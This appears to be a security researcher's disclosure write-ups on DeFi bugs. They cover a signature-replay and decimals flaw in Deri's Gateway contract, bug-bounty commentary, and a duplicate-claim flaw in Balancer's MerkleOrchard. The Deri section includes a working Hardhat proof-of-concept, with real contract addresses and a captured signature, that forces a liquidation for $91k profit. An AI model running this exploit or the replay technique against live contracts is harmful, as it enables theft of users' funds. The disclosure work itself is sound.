Weaknesses: 1) signature replay 2) incorrect decimals

Tell us more …

Deri is a derivatives protocol deployed across zksync Era, Linea, Arbitrum, Polygon ZkEVM, and Scroll with a TVL of ~$3mm.

Users interact with the protocol by making a request to add/remove margin, trade, remove liquidity, etc. through the Gateway contract.

Our example focuses on when a user intends to remove some, or all, of his margin and calls GatewayImplementation::requestRemoveMargin which emits an event that is picked up by an agent, which validates and signs the request, then calls GatewayImplementation::finishRemoveMargin with the signed event data and accompanying signature to finalize the request and alter the user's position.

There are three "finishing" calls that are used to adjust the user's position: finishRemoveMargin, finishUpdateLiquidity, and finishLiquidate. Both finishRemoveMargin and finishUpdateLiquidity call an internal function _checkRequestId that checks and increments a nonce to prevent a replay attack utilizing the same signature and event data, but ...

The Bug …

... this check is missing from finishLiquidate since at the end of the execution flow it will revert if this position NFT had already been burned (which would happen on a successful liquidation).

What if a user called requestRemoveMargin and we used that same eventData and signature provided by the agent to call finishLiquidate to force liquidate the user with a previously signed request?

Important to note that the initial requestLiquidate function is protected and requires a whitelisted liquidator as the caller (which we are not, but we bypass this anyway by calling the finishLiquidate function directly).

The finishLiquidate function decodes the event data with the following struct:

IGateway.VarOnExecuteLiquidate memory v = abi.decode(eventData, (IGateway.VarOnExecuteLiquidate));

struct VarOnExecuteLiquidate {

uint256 requestId;
uint256 pTokenId;
int256 cumulativePnlOnEngine;

}

… whereas finishRemoveMargin decodes the event data as follows:

IGateway.VarOnExecuteRemoveMargin memory v = abi.decode(eventData, (IGateway.VarOnExecuteRemoveMargin));

struct VarOnExecuteRemoveMargin {

uint256 requestId;
uint256 pTokenId;
uint256 requiredMargin;
int256 cumulativePnlOnEngine;
uint256 bAmountToRemove;

}

Notice the mismatch?

The decoding process to the VarOnExecuteLiquidate struct will erroneously return the uint256 requiredMargin value as the int256 cumulativePnlOnEngine value which was supplied within eventData that was used by the initial finishRemoveMargin call made by the agent. Since this function already verified that the liquidation has been signed off on (since we provided valid signed event data and a signature), there are no checks and balances going forward other than ensuring that a liquidator only receives a maxLiquidation reward of 500 ETH instead of 500 USDC. Seems a bit large don’t you think? Always check your decimals anon …

Also note that now we have successfully modified the critical state variable of data.lastCumulativePnlOnEngine to be grossly inaccurate which immediately compromises the integrity of the protocol for all users. As an example, in the exploit simulation the variable changes from -35169462977677968445139 to 15206304214539988627172!

Bypassing the maxLiquidationReward ... on L667 in GatewayImplementation::finishLiquidate the diff is calculated as int256 diff = v.cumulativePnlOnEngine.minusUnchecked(data.lastCumulativePnlOnEngine) which equals 15206304214539988627172 - (-35169462977677968445139) = 50375767192217957072311 and then scales down to match the USDC collateral bToken of six decimals giving us 50375767192 or 50,375 USDC.

Note: The correct calculation should actually be -35169462977677968445139 - (-35169462977677968445139) = 0 USDC.

The function then transfers all bTokens from an Aave vault into the Gateway contract and then calculates the (incorrect) total LP's PnL by liquidating this account int256 lpPnl = b0AmountIn.utoi() + data.b0Amount which gives us 133567538050 + 50375767192 = 183943305242 or 183,943 USDC as lpPnL.

If/else at L692 calculates the minimum of ((lpPnL - minLiquidationReward( * liquidationRewardCutRatio / 1e18 + minLiquidationReward), maxLiquidationReward) which reduces and rescales our reward to 1e6 giving us 91083767663 or $91k USDC and promptly transfers this to msg.sender.

Additionally, on L723 the function rescales the fake lpPnL to e18 and adds it to the state variable data.cumulativePnLOnGateway with a value of 58577e18 to a new value of 242520e18 ... a 314% increase in PnL that doesn't exist! Not good.

Damage

Total user funds at risk across all chains I estimate at $500k to $1.5mm - not to mention collateral damage from the inconsistent state with the now incorrect cumulativePnlOnEngine. The max bounty for this project was low at $10k (which they later bumped to $20k) so it did not warrant further time on my end to conduct a full damage assessment.

PoC below demonstrates a forced $91k USDC liquidation on Arbitrum with all profits going to the attacker.

Peckshield takes the L …

Pro tip: Always get more than one audit.

0xriptide

const { ethers } = require("hardhat");

// 0xriptide - forced liquidator
//
// arbitrum forking at 184652290
//
// Severity: Critical
//
// Description:
// Attacker can liquidate certain positions by reusing signatures and events leading to theft of user funds
// also bypasses gated liquidator requirement
//
// Affects all chains where Deri v4 is deployed (zksync Era, linea, arbitrum, polygon ZkEVM, scroll)
//
// Exploit:
// 1) Watch for offchain agent `0x01737317c960Bc5cC67E7D3f802ABF077e65559E` to call `finishRemoveMargin` on `gateway contract`
// 2) Reuse provided `eventData` and `signature` to call `finishLiquidate` on `gateway`
// 3) Profit
//
// Weakness:
// 1) `gateway:L662` lacks the `_checkRequestId` check which allows re-use of signatures and eventData
// 2) maxLiquidationReward scaled at 1e18 for 1e6 token
//

describe("PoC - Unauthorized liquidations", function () {


  it("big usdc liq 91k profit", async function () {
    const gateway = "0x7c4a640461427c310a710d367c2ba8c535a7ef81";
    const DPT = "0x3330664fE007463DDc859830b2D96380440C3a24";
    const aaveVault = "0x724dc807b04555b71ed48a6896b6F41593b8C637";
    const eventData = "0x000000000000000000000000000011960000000000000000000000000000003402000000000000000000a4b1000000000000000000000000000000000000001a00000000000000000000000000000000000000000000033855dcfcabe55feee4fffffffffffffffffffffffffffffffffffffffffffff88d75a7cd9a4cdd712d0000000000000000000000000000000000000000000000000000000005f5e100";
    const signature = "0x08a4d46c4a18a4d8fce7551f19bf1b9bda19a555009039a223bd91003b45d3cd4325f06ce14d57d285a2538a58fa5a96134292a5df3ca1cf5b435cfdbcd4e51e1b";
    const pTokenId = "904625697166532776746709938750905788301606140756549057766654088833765736474";
    const bToken = "0xaf88d065e77c8cC2239327C5EDb3A432268e5831"; //USDC
    const user = "0xcd384a71b666DE23A7A6380eDd8A2e88Bb5a5373";

    const [attacker] = await ethers.getSigners();

    const gatewayContract = await hre.ethers.getContractAt("IGateway", gateway);
    const DPTContract = await hre.ethers.getContractAt("IDToken", DPT);
    const bTokenContract = await hre.ethers.getContractAt("IERC20", bToken);

    console.log("Gateway State: ", await gatewayContract.getGatewayState());

    console.log("Td State: ", await gatewayContract.getTdState(pTokenId));

    var nft0 = await DPTContract.balanceOf(user);
    var user0 = await bTokenContract.balanceOf(user);
    var vault0 = await bTokenContract.balanceOf(aaveVault);
    var attacker0 = await bTokenContract.balanceOf(attacker.address);

    console.log("NFT balance of user: ", nft0);
    console.log("bToken balance of user: ", user0);
    console.log("bToken balance of aaveVault (aArbUSDCn): ", vault0);
    console.log("bToken balance of attacker: ", attacker0);

    console.log("forcing liquidation and burning position NFT...");
    await gatewayContract.finishLiquidate(eventData, signature);

    console.log("Gateway State: ", await gatewayContract.getGatewayState());
    console.log("Gateway Param: ", await gatewayContract.getGatewayParam());

    console.log("Td State: ", await gatewayContract.getTdState(pTokenId));

    var nft1 = await DPTContract.balanceOf(user);
    var user1 = await bTokenContract.balanceOf(user);
    var vault1 = await bTokenContract.balanceOf(aaveVault);
    var attacker1 = await bTokenContract.balanceOf(attacker.address);

    console.log("NFT balance of user: ", nft1);
    console.log("bToken balance of user: ", user1);
    console.log("bToken balance of aaveVault (aArbUSDCn): ", vault1);
    console.log("bToken balance of attacker: ", attacker1);

    console.log("*diffs*");
    console.log("\nNFT decrease by: ", nft0 - nft1);
    console.log("bToken balance of user change: ", user1 - user0);
    console.log("bToken balance of aaveVault (aArbUSDCn) change: ", vault1 - vault0);
    console.log("bToken balance of attacker change: ", attacker1 - attacker0);
    console.log("\nAttacker profit: $", ethers.utils.formatUnits(attacker1 - attacker0,6));

  });
});

Let’s talk about bounties for a bit ...

How to run a good bug bounty program:

1) the protocol is a good actor w/ regard to paying bounty hunters fairly and timely 2) bounty amount represents a fair reward compared to the amount of funds at risk

How to run a bad bug bounty program:

*1) bug is disclosed to protocol and follow-up emails by hacker are ignored/no timely responses 2) payments are confirmed but delayed for weeks/months 3) actual bounty paid is less than advertised bounty amount *

The existence of a bug bounty should be a positive signal for users/investors when deciding where to put their capital to work. It will attract hackers to the protocol in an attempt to find vulnerabilities, report those vulnerabilities, and get paid for their work. However, behind the scenes of a bounty program can tell a different story that is only known to the hacker, the bounty platform (if applicable), and the protocol team.

If the bounty is $1mm but the funds at risk are $1bn - that is not a good signal for users/investors. Why? Because the incentive for a hacker to steal outweighs the reward which means you should assign a much higher risk profile when evaluating an investment in this project. This is a ultimately a poor, short sighted business decision.

If the advertised bounty is $2mm and the actual bounty paid is 25% of that with unlimited user deposits at risk - that is not a good signal for users/investors. Why? Because the incentive for a hacker to steal will outweigh the reward which means you should assign a much higher risk profile when evaluating an investment in this project. This is a ultimately a poor, short sighted business decision (which was made by Arbitrum on the massive vulnerability I disclosed last year).

For those unfamiliar with how this ecosystem works: we have black hat hackers (hack and steal), white hat hackers (prevent hacks and earn bounties), grey hat hackers (white hat by day, opportunistic black hat by night), auditors (paid a fee to audit code), users/investors (capital providers), smart contracts (targets for capital accumulation), and the devs/protocols/companies that develop and maintain these smart contracts.

The line between a black hat and white hat hacker (especially in crypto) can be very thin. Independent white hats earn absolutely nothing if they cannot find a bug, have a difficult time getting paid justly (or at all), and then pay tax on those earned bounties. The upside is that you get some credibility in the space, but primarily you do it because it is morally the right thing to do and you want to see this ecosystem thrive. Black hats, on the other hand, can steal millions of dollars while quite easily maintaining their anonymity. That is a fact.

Apes gonna ape

So how do we ensure that users/investors can better understand the risk when considering which “secure” and “audited” protocol to invest their funds in? Is the risk of a 3pool 9999% farm on RugChain the same as a VC backed, heavily audited L2? Good question anon … to quote a viewpoint from the great people of Thailand “your safety is our concern, but ultimately it is your responsibility”.

There are no investor protections here in the wild west of crypto, but the more educated each user/investor is, the better chance they have of making a sound decision on where to ape.

Recently, I tweeted that we should have something like a “Bug Bounty Wall of Shame” to provide more transparency on which protocol teams have let the bean counters run the show and are faking the funk when it comes to paying out white hats. Low and behold … a few days later some absolute based anon created a simple site to do just that: https://bug-bounty-wall-of-shame.github.io/

While there will always be disputes over bounties, I believe egregious examples of bad behavior should be brought to light in order to provide more transparency to users/investors when considering an investment decision.

If you are a user interested in protecting your funds in this nascent ecosystem you need to have visibility into how protocols act when faced with security risks. If users discover that a project is treating white hats unfairly they should take their capital and run far,far away!

If you want a great example of how you run a bug bounty program and how you approach protocol security look no further than the based gigachads at Balancer whom were a pleasure to work with on this disclosure.

On to the bug write-up …

Protocol Background

Balancer is a well known protocol in the DeFi space that allows anyone to create an AMM pool containing two or more tokens that traders can swap between. Liquidity Providers lock up tokens in the pools in order to collect swap fees that are generated by traders re-balancing the pools by executing swaps. If a protocol desires to attract more liquidity to its pool, it can give LPs a higher aggregate rate of return by providing additional token rewards on top of the existing swap fees.

Balancer has historically been proactive with its stance on security and transparency when bugs have been discovered in its codebase. Four of the top audit firms had already performed a deep dive on the protocol: Trail of Bits, ADBK, OpenZeppelin, and Certora. Yet, the vulnerable contract slipped past many sets of eyeballs and was deployed to Mainnet, Polygon, and Arbitrum for a massive 463 days with tens of thousands of successful transactions.

Luckily, Balancer had an active bounty program on ImmuneFi which ultimately led me to finding a logic error deep in the the webs of the merkle orchard …

Merkle Orchard

In order to add additional token rewards to a pool, the tokens must first be transferred to the MerkleOrchard contract at 0xdAE7e32ADc5d490a43cCba1f0c736033F2b4eFca. The tokens are transferred from the distributor (usually a protocol’s multisig) by calling createDistribution which pulls tokens into the MerkleOrchard contract and then deposits these assets into the Balancer Vault contract. These deposits in the vault are now attributed to the MerkleOrchard contract and linked to the distributor provided merkle tree root.

The Bug

Users are able to submit duplicate claims and drain the Balancer Vault contract of the entire MerkleOrchard account balance from the Vault contracts on Mainnet, Polygon, and Arbitrum.

In the MerkleOrchard contract an existing LP can call claimDistributions to receive its allotted token rewards for providing liquidity.

This function importantly allows a user to provide multiple claims to be processed in one call.

claimDistributions will call the internal function _processClaims which executes the for loop on L228: for (uint256 i = 0; i < claims.length; i++).

L233: (uint256 distributionWordIndex, uint256 distributionBitIndex) = _getIndices(claim.distributionId) will return the exact same values if we use the same claim.distributionId value as our input. This is a key point because on L235 if (currentWordIndex == distributionWordIndex) will evaluate as true and bypass the _setClaimedBits function which would normally mark the claim as completed and prevent a user from claiming again.

L264: currentChannelId = _getChannelId(tokens[claim.tokenIndex], claim.distributor) will keep currentChannelId unchanged upon each iteration. This fact, combined with currentWordIndex == distributionWordIndex will continue to evaluate as true lets us bypass the calling of _setClaimedBits and allows us to submit duplicate claims as long as they are all provided within the same transaction.

setClaimedBits is finally called on L273-276 when we reach the end of the array which finally disallows the claim from being replayed:

if (i == claims.length - 1) { _setClaimedBits(currentChannelId, claimer, currentWordIndex, currentBits); _deductClaimedBalance(currentChannelId, currentClaimAmount)

The function then calls the Balancer vault contract which releases the tokens to the caller.

Impact

Balancer Vaults on Mainnet, Polygon, and Arbitrum held (in aggregate) ~$3.2mm of tokens attributed to the MerkleOrchard addresses. No other funds in the vaults were at risk outside of the MerkleOrchard balances.

Exploit Scenario

Any LP provider could execute the same claim multiple times in the same transaction to steal multiples of their initial claim amounts from the vault contract (max likely ~10x per claim due to gas limit). The claimer would only be limited by block gas limit and the MerkleOrchard account balance in the vault contract. Thus, large LPs with 6 figure claims could quickly drain the contracts, thus stealing unclaimed yield from other LPs.

Thank you to the Balancer gigachads for the prompt response, remediation, and payment of a 50 ETH bounty on an out-of-scope target.